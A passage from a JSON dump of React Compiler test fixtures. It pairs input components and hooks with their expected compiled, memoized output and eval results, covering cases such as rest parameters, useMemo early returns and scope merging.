    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nconst DISPLAY = true;\nfunction Component({cond = false, id}) {\n  return (\n    <>\n      <div className={identity(styles.a, id !== null ? styles.b : {})}></div>\n\n      {cond === false && (\n        <div className={identity(styles.c, DISPLAY ? styles.d : {})} />\n      )}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, id: 42}],\n  sequentialRenders: [\n    {cond: false, id: 4},\n    {cond: true, id: 4},\n    {cond: true, id: 42},\n  ],\n};\n\nconst styles = {\n  a: 'a',\n  b: 'b',\n  c: 'c',\n  d: 'd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nconst DISPLAY = true;\nfunction Component(t0) {\n  const $ = _c(9);\n  const { cond: t1, id } = t0;\n  const cond = t1 === undefined ? false : t1;\n  let t2;\n  if ($[0] !== id) {\n    t2 = identity(styles.a, id !== null ? styles.b : {});\n    $[0] = id;\n    $[1] = t2;\n  } else {\n    t2 = $[1];\n  }\n  let t3;\n  if ($[2] !== t2) {\n    t3 = <div className={t2} />;\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  let t4;\n  if ($[4] !== cond) {\n    t4 = cond === false && (\n      <div className={identity(styles.c, DISPLAY ? styles.d : {})} />\n    );\n    $[4] = cond;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  let t5;\n  if ($[6] !== t3 || $[7] !== t4) {\n    t5 = (\n      <>\n        {t3}\n        {t4}\n      </>\n    );\n    $[6] = t3;\n    $[7] = t4;\n    $[8] = t5;\n  } else {\n    t5 = $[8];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false, id: 42 }],\n  sequentialRenders: [\n    { cond: false, id: 4 },\n    { cond: true, id: 4 },\n    { cond: true, id: 42 },\n  ],\n};\n\nconst styles = {\n  a: \"a\",\n  b: \"b\",\n  c: \"c\",\n  d: \"d\",\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"a\"></div><div class=\"c\"></div>\n<div class=\"a\"></div>\n<div class=\"a\"></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-scopes-for-divs.js",
    "content": "import {identity} from 'shared-runtime';\n\nconst DISPLAY = true;\nfunction Component({cond = false, id}) {\n  return (\n    <>\n      <div className={identity(styles.a, id !== null ? styles.b : {})}></div>\n\n      {cond === false && (\n        <div className={identity(styles.c, DISPLAY ? styles.d : {})} />\n      )}\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, id: 42}],\n  sequentialRenders: [\n    {cond: false, id: 4},\n    {cond: true, id: 4},\n    {cond: true, id: 42},\n  ],\n};\n\nconst styles = {\n  a: 'a',\n  b: 'b',\n  c: 'c',\n  d: 'd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {Builder} from 'shared-runtime';\nfunction useTest({isNull, data}: {isNull: boolean; data: string}) {\n  const result = Builder.makeBuilder(isNull, 'hello world')\n    ?.push('1', 2)\n    ?.push(3, {\n      a: 4,\n      b: 5,\n      c: data,\n    })\n    ?.push(6, data)\n    ?.push(7, '8')\n    ?.push('8', Builder.makeBuilder(!isNull)?.push(9).vals)?.vals;\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [{isNull: false, data: 'param'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\n\nimport { Builder } from \"shared-runtime\";\nfunction useTest(t0) {\n  const $ = _c(3);\n  const { isNull, data } = t0;\n  let t1;\n  if ($[0] !== data || $[1] !== isNull) {\n    t1 = Builder.makeBuilder(isNull, \"hello world\")\n      ?.push(\"1\", 2)\n      ?.push(3, { a: 4, b: 5, c: data })\n      ?.push(6, data)\n      ?.push(7, \"8\")\n      ?.push(\"8\", Builder.makeBuilder(!isNull)?.push(9).vals)?.vals;\n    $[0] = data;\n    $[1] = isNull;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const result = t1;\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [{ isNull: false, data: \"param\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"hello world\",\"1\",2,3,{\"a\":4,\"b\":5,\"c\":\"param\"},6,\"param\",7,\"8\",\"8\",null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-slow-validate-preserve-memo.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {Builder} from 'shared-runtime';\nfunction useTest({isNull, data}: {isNull: boolean; data: string}) {\n  const result = Builder.makeBuilder(isNull, 'hello world')\n    ?.push('1', 2)\n    ?.push(3, {\n      a: 4,\n      b: 5,\n      c: data,\n    })\n    ?.push(6, data)\n    ?.push(7, '8')\n    ?.push('8', Builder.makeBuilder(!isNull)?.push(9).vals)?.vals;\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [{isNull: false, data: 'param'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\n\n/**\n * Repro for https://github.com/facebook/react/issues/35122\n *\n * InferReactiveScopeVariables was excluding primitive operands\n * when considering operands for merging. We previously did not\n * infer types for context variables (StoreContext etc), but later\n * started inferring types in cases of `const` context variables,\n * since the type cannot change.\n *\n * In this example, this meant that we skipped the `isExpired`\n * operand of the onClick function expression when considering\n * scopes to merge.\n */\nfunction Test1() {\n  const [expire, setExpire] = useState(5);\n\n  const onClick = () => {\n    // Reference to isExpired prior to declaration\n    console.log('isExpired', isExpired);\n  };\n\n  const isExpired = expire === 0;\n\n  return <div onClick={onClick}>{expire}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test1,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\n\n/**\n * Repro for https://github.com/facebook/react/issues/35122\n *\n * InferReactiveScopeVariables was excluding primitive operands\n * when considering operands for merging. We previously did not\n * infer types for context variables (StoreContext etc), but later\n * started inferring types in cases of `const` context variables,\n * since the type cannot change.\n *\n * In this example, this meant that we skipped the `isExpired`\n * operand of the onClick function expression when considering\n * scopes to merge.\n */\nfunction Test1() {\n  const $ = _c(5);\n  const [expire] = useState(5);\n  let onClick;\n  if ($[0] !== expire) {\n    onClick = () => {\n      console.log(\"isExpired\", isExpired);\n    };\n\n    const isExpired = expire === 0;\n    $[0] = expire;\n    $[1] = onClick;\n  } else {\n    onClick = $[1];\n  }\n  let t0;\n  if ($[2] !== expire || $[3] !== onClick) {\n    t0 = <div onClick={onClick}>{expire}</div>;\n    $[2] = expire;\n    $[3] = onClick;\n    $[4] = t0;\n  } else {\n    t0 = $[4];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test1,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>5</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-stale-closure-forward-reference.js",
    "content": "import {useState} from 'react';\n\n/**\n * Repro for https://github.com/facebook/react/issues/35122\n *\n * InferReactiveScopeVariables was excluding primitive operands\n * when considering operands for merging. We previously did not\n * infer types for context variables (StoreContext etc), but later\n * started inferring types in cases of `const` context variables,\n * since the type cannot change.\n *\n * In this example, this meant that we skipped the `isExpired`\n * operand of the onClick function expression when considering\n * scopes to merge.\n */\nfunction Test1() {\n  const [expire, setExpire] = useState(5);\n\n  const onClick = () => {\n    // Reference to isExpired prior to declaration\n    console.log('isExpired', isExpired);\n  };\n\n  const isExpired = expire === 0;\n\n  return <div onClick={onClick}>{expire}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test1,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {StaticText1, Stringify, Text} from 'shared-runtime';\n\nfunction Component(props) {\n  const {buttons} = props;\n  const [primaryButton, ...nonPrimaryButtons] = buttons;\n\n  const renderedNonPrimaryButtons = nonPrimaryButtons.map((buttonProps, i) => (\n    <Stringify\n      {...buttonProps}\n      key={`button-${i}`}\n      style={\n        i % 2 === 0 ? styles.leftSecondaryButton : styles.rightSecondaryButton\n      }\n    />\n  ));\n\n  return <StaticText1>{renderedNonPrimaryButtons}</StaticText1>;\n}\n\nconst styles = {\n  leftSecondaryButton: {left: true},\n  rightSecondaryButton: {right: true},\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      buttons: [\n        {},\n        {type: 'submit', children: ['Submit!']},\n        {type: 'button', children: ['Reset']},\n      ],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { StaticText1, Stringify, Text } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const { buttons } = props;\n  let t0;\n  if ($[0] !== buttons) {\n    const [, ...nonPrimaryButtons] = buttons;\n    const renderedNonPrimaryButtons = nonPrimaryButtons.map(_temp);\n    t0 = <StaticText1>{renderedNonPrimaryButtons}</StaticText1>;\n    $[0] = buttons;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction _temp(buttonProps, i) {\n  return (\n    <Stringify\n      {...buttonProps}\n      key={`button-${i}`}\n      style={\n        i % 2 === 0 ? styles.leftSecondaryButton : styles.rightSecondaryButton\n      }\n    />\n  );\n}\n\nconst styles = {\n  leftSecondaryButton: { left: true },\n  rightSecondaryButton: { right: true },\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      buttons: [\n        {},\n        { type: \"submit\", children: [\"Submit!\"] },\n        { type: \"button\", children: [\"Reset\"] },\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>StaticText1<div>{\"type\":\"submit\",\"children\":[\"Submit!\"],\"style\":{\"left\":true}}</div><div>{\"type\":\"button\",\"children\":[\"Reset\"],\"style\":{\"right\":true}}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-undefined-expression-of-jsxexpressioncontainer.js",
    "content": "import {StaticText1, Stringify, Text} from 'shared-runtime';\n\nfunction Component(props) {\n  const {buttons} = props;\n  const [primaryButton, ...nonPrimaryButtons] = buttons;\n\n  const renderedNonPrimaryButtons = nonPrimaryButtons.map((buttonProps, i) => (\n    <Stringify\n      {...buttonProps}\n      key={`button-${i}`}\n      style={\n        i % 2 === 0 ? styles.leftSecondaryButton : styles.rightSecondaryButton\n      }\n    />\n  ));\n\n  return <StaticText1>{renderedNonPrimaryButtons}</StaticText1>;\n}\n\nconst styles = {\n  leftSecondaryButton: {left: true},\n  rightSecondaryButton: {right: true},\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      buttons: [\n        {},\n        {type: 'submit', children: ['Submit!']},\n        {type: 'button', children: ['Reset']},\n      ],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const label = fbt(\n    fbt.plural('bar', props.value.length, {\n      many: 'bars',\n      showCount: 'yes',\n    }),\n    'The label text'\n  );\n  return props.cond ? (\n    <Stringify\n      description={<fbt desc=\"Some text\">Text here</fbt>}\n      label={label.toString()}\n    />\n  ) : null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: [0, 1, 2]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.cond || $[1] !== props.value.length) {\n    const label = fbt._(\n      { \"*\": \"{number} bars\", _1: \"1 bar\" },\n      [fbt._plural(props.value.length, \"number\")],\n      { hk: \"4mUen7\" },\n    );\n    t0 = props.cond ? (\n      <Stringify\n        description={fbt._(\"Text here\", null, { hk: \"21YpZs\" })}\n        label={label.toString()}\n      />\n    ) : null;\n    $[0] = props.cond;\n    $[1] = props.value.length;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, value: [0, 1, 2] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"description\":\"Text here\",\"label\":\"3 bars\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unmerged-fbt-call-merge-overlapping-reactive-scopes.js",
    "content": "import fbt from 'fbt';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const label = fbt(\n    fbt.plural('bar', props.value.length, {\n      many: 'bars',\n      showCount: 'yes',\n    }),\n    'The label text'\n  );\n  return props.cond ? (\n    <Stringify\n      description={<fbt desc=\"Some text\">Text here</fbt>}\n      label={label.toString()}\n    />\n  ) : null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: [0, 1, 2]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport {useMemo, useState} from 'react';\nimport {ValidateMemoization, identity} from 'shared-runtime';\n\nfunction Component({value}) {\n  const result = useMemo(() => {\n    if (value == null) {\n      return null;\n    }\n    try {\n      return {value};\n    } catch (e) {\n      return null;\n    }\n  }, [value]);\n  return <ValidateMemoization inputs={[value]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: null}],\n  sequentialRenders: [\n    {value: null},\n    {value: null},\n    {value: 42},\n    {value: 42},\n    {value: null},\n    {value: 42},\n    {value: null},\n    {value: 42},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport { useMemo, useState } from \"react\";\nimport { ValidateMemoization, identity } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { value } = t0;\n  let t1;\n  bb0: {\n    if (value == null) {\n      t1 = null;\n      break bb0;\n    }\n\n    try {\n      let t3;\n      if ($[0] !== value) {\n        t3 = { value };\n        $[0] = value;\n        $[1] = t3;\n      } else {\n        t3 = $[1];\n      }\n      t1 = t3;\n    } catch (t2) {\n      t1 = null;\n    }\n  }\n  const result = t1;\n  let t2;\n  if ($[2] !== value) {\n    t2 = [value];\n    $[2] = value;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== result || $[5] !== t2) {\n    t3 = <ValidateMemoization inputs={t2} output={result} />;\n    $[4] = result;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: null }],\n  sequentialRenders: [\n    { value: null },\n    { value: null },\n    { value: 42 },\n    { value: 42 },\n    { value: null },\n    { value: 42 },\n    { value: null },\n    { value: 42 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[null],\"output\":\"[[ cyclic ref *2 ]]\"}</div>\n<div>{\"inputs\":[null],\"output\":\"[[ cyclic ref *2 ]]\"}</div>\n<div>{\"inputs\":[42],\"output\":{\"value\":42}}</div>\n<div>{\"inputs\":[42],\"output\":{\"value\":42}}</div>\n<div>{\"inputs\":[null],\"output\":\"[[ cyclic ref *2 ]]\"}</div>\n<div>{\"inputs\":[42],\"output\":{\"value\":42}}</div>\n<div>{\"inputs\":[null],\"output\":\"[[ cyclic ref *2 ]]\"}</div>\n<div>{\"inputs\":[42],\"output\":{\"value\":42}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-unreachable-code-early-return-in-useMemo.js",
    "content": "// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nimport {useMemo, useState} from 'react';\nimport {ValidateMemoization, identity} from 'shared-runtime';\n\nfunction Component({value}) {\n  const result = useMemo(() => {\n    if (value == null) {\n      return null;\n    }\n    try {\n      return {value};\n    } catch (e) {\n      return null;\n    }\n  }, [value]);\n  return <ValidateMemoization inputs={[value]} output={result} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: null}],\n  sequentialRenders: [\n    {value: null},\n    {value: null},\n    {value: 42},\n    {value: 42},\n    {value: null},\n    {value: 42},\n    {value: null},\n    {value: 42},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {\n  makeObject_Primitives,\n  mutate,\n  Stringify,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({cond}) {\n  const memoized = useMemo(() => {\n    const value = makeObject_Primitives();\n    if (cond) {\n      return value;\n    } else {\n      mutate(value);\n      return value;\n    }\n  }, [cond]);\n  return <ValidateMemoization inputs={[cond]} output={memoized} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false}],\n  sequentialRenders: [\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport {\n  makeObject_Primitives,\n  mutate,\n  Stringify,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { cond } = t0;\n  let t1;\n  if ($[0] !== cond) {\n    const value = makeObject_Primitives();\n    if (cond) {\n      t1 = value;\n    } else {\n      mutate(value);\n      t1 = value;\n    }\n    $[0] = cond;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const memoized = t1;\n  let t2;\n  if ($[2] !== cond) {\n    t2 = [cond];\n    $[2] = cond;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== memoized || $[5] !== t2) {\n    t3 = <ValidateMemoization inputs={t2} output={memoized} />;\n    $[4] = memoized;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false }],\n  sequentialRenders: [\n    { cond: false },\n    { cond: false },\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n    { cond: false },\n    { cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[false],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>\n<div>{\"inputs\":[false],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>\n<div>{\"inputs\":[true],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[true],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[false],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>\n<div>{\"inputs\":[true],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[false],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}}</div>\n<div>{\"inputs\":[true],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-useMemo-if-else-both-early-return.js",
    "content": "import {useMemo} from 'react';\nimport {\n  makeObject_Primitives,\n  mutate,\n  Stringify,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({cond}) {\n  const memoized = useMemo(() => {\n    const value = makeObject_Primitives();\n    if (cond) {\n      return value;\n    } else {\n      mutate(value);\n      return value;\n    }\n  }, [cond]);\n  return <ValidateMemoization inputs={[cond]} output={memoized} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false}],\n  sequentialRenders: [\n    {cond: false},\n    {cond: false},\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n    {cond: false},\n    {cond: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoVoidUseMemo:false @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const item = props.item;\n  const thumbnails = [];\n  const baseVideos = getBaseVideos(item);\n  useMemo(() => {\n    baseVideos.forEach(video => {\n      const baseVideo = video.hasBaseVideo;\n      if (Boolean(baseVideo)) {\n        thumbnails.push({extraVideo: true});\n      }\n    });\n  });\n  return <FlatList baseVideos={baseVideos} items={thumbnails} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateNoVoidUseMemo:false @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const $ = _c(6);\n  const item = props.item;\n  let baseVideos;\n  let thumbnails;\n  if ($[0] !== item) {\n    thumbnails = [];\n    baseVideos = getBaseVideos(item);\n\n    baseVideos.forEach((video) => {\n      const baseVideo = video.hasBaseVideo;\n      if (Boolean(baseVideo)) {\n        thumbnails.push({ extraVideo: true });\n      }\n    });\n    $[0] = item;\n    $[1] = baseVideos;\n    $[2] = thumbnails;\n  } else {\n    baseVideos = $[1];\n    thumbnails = $[2];\n  }\n  let t0;\n  if ($[3] !== baseVideos || $[4] !== thumbnails) {\n    t0 = <FlatList baseVideos={baseVideos} items={thumbnails} />;\n    $[3] = baseVideos;\n    $[4] = thumbnails;\n    $[5] = t0;\n  } else {\n    t0 = $[5];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro.js",
    "content": "// @validateNoVoidUseMemo:false @validateExhaustiveMemoizationDependencies:false\nfunction Component(props) {\n  const item = props.item;\n  const thumbnails = [];\n  const baseVideos = getBaseVideos(item);\n  useMemo(() => {\n    baseVideos.forEach(video => {\n      const baseVideo = video.hasBaseVideo;\n      if (Boolean(baseVideo)) {\n        thumbnails.push({extraVideo: true});\n      }\n    });\n  });\n  return <FlatList baseVideos={baseVideos} items={thumbnails} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState as useReactState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useReactState(0);\n\n  const onClick = () => {\n    setState(s => s + 1);\n  };\n\n  return (\n    <>\n      Count {state}\n      <button onClick={onClick}>Increment</button>\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState as useReactState } from \"react\";\n\nfunction Component() {\n  const $ = _c(4);\n  const [state, setState] = useReactState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setState(_temp);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <button onClick={onClick}>Increment</button>;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== state) {\n    t2 = (\n      <>\n        Count {state}\n        {t1}\n      </>\n    );\n    $[2] = state;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\nfunction _temp(s) {\n  return s + 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) Count 0<button>Increment</button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.js",
    "content": "import {useState as useReactState} from 'react';\n\nfunction Component() {\n  const [state, setState] = useReactState(0);\n\n  const onClick = () => {\n    setState(s => s + 1);\n  };\n\n  return (\n    <>\n      Count {state}\n      <button onClick={onClick}>Increment</button>\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(foo, ...[bar]) {\n  return [foo, bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['foo', ['bar', 'baz']],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(foo, ...t0) {\n  const $ = _c(3);\n  const [bar] = t0;\n  let t1;\n  if ($[0] !== bar || $[1] !== foo) {\n    t1 = [foo, bar];\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"foo\", [\"bar\", \"baz\"]],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",[\"bar\",\"baz\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.js",
    "content": "function Component(foo, ...[bar]) {\n  return [foo, bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['foo', ['bar', 'baz']],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(foo, ...bar) {\n  return [foo, bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['foo', 'bar', 'baz'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(foo, ...t0) {\n  const $ = _c(3);\n  const bar = t0;\n  let t1;\n  if ($[0] !== bar || $[1] !== foo) {\n    t1 = [foo, bar];\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"foo\", \"bar\", \"baz\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",[\"bar\",\"baz\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.js",
    "content": "function Component(foo, ...bar) {\n  return [foo, bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['foo', 'bar', 'baz'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(foo, ...{bar}) {\n  return [foo, bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['foo', {bar: 'bar'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(foo, ...t0) {\n  const $ = _c(3);\n  const { bar } = t0;\n  let t1;\n  if ($[0] !== bar || $[1] !== foo) {\n    t1 = [foo, bar];\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"foo\", { bar: \"bar\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"foo\",null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.js",
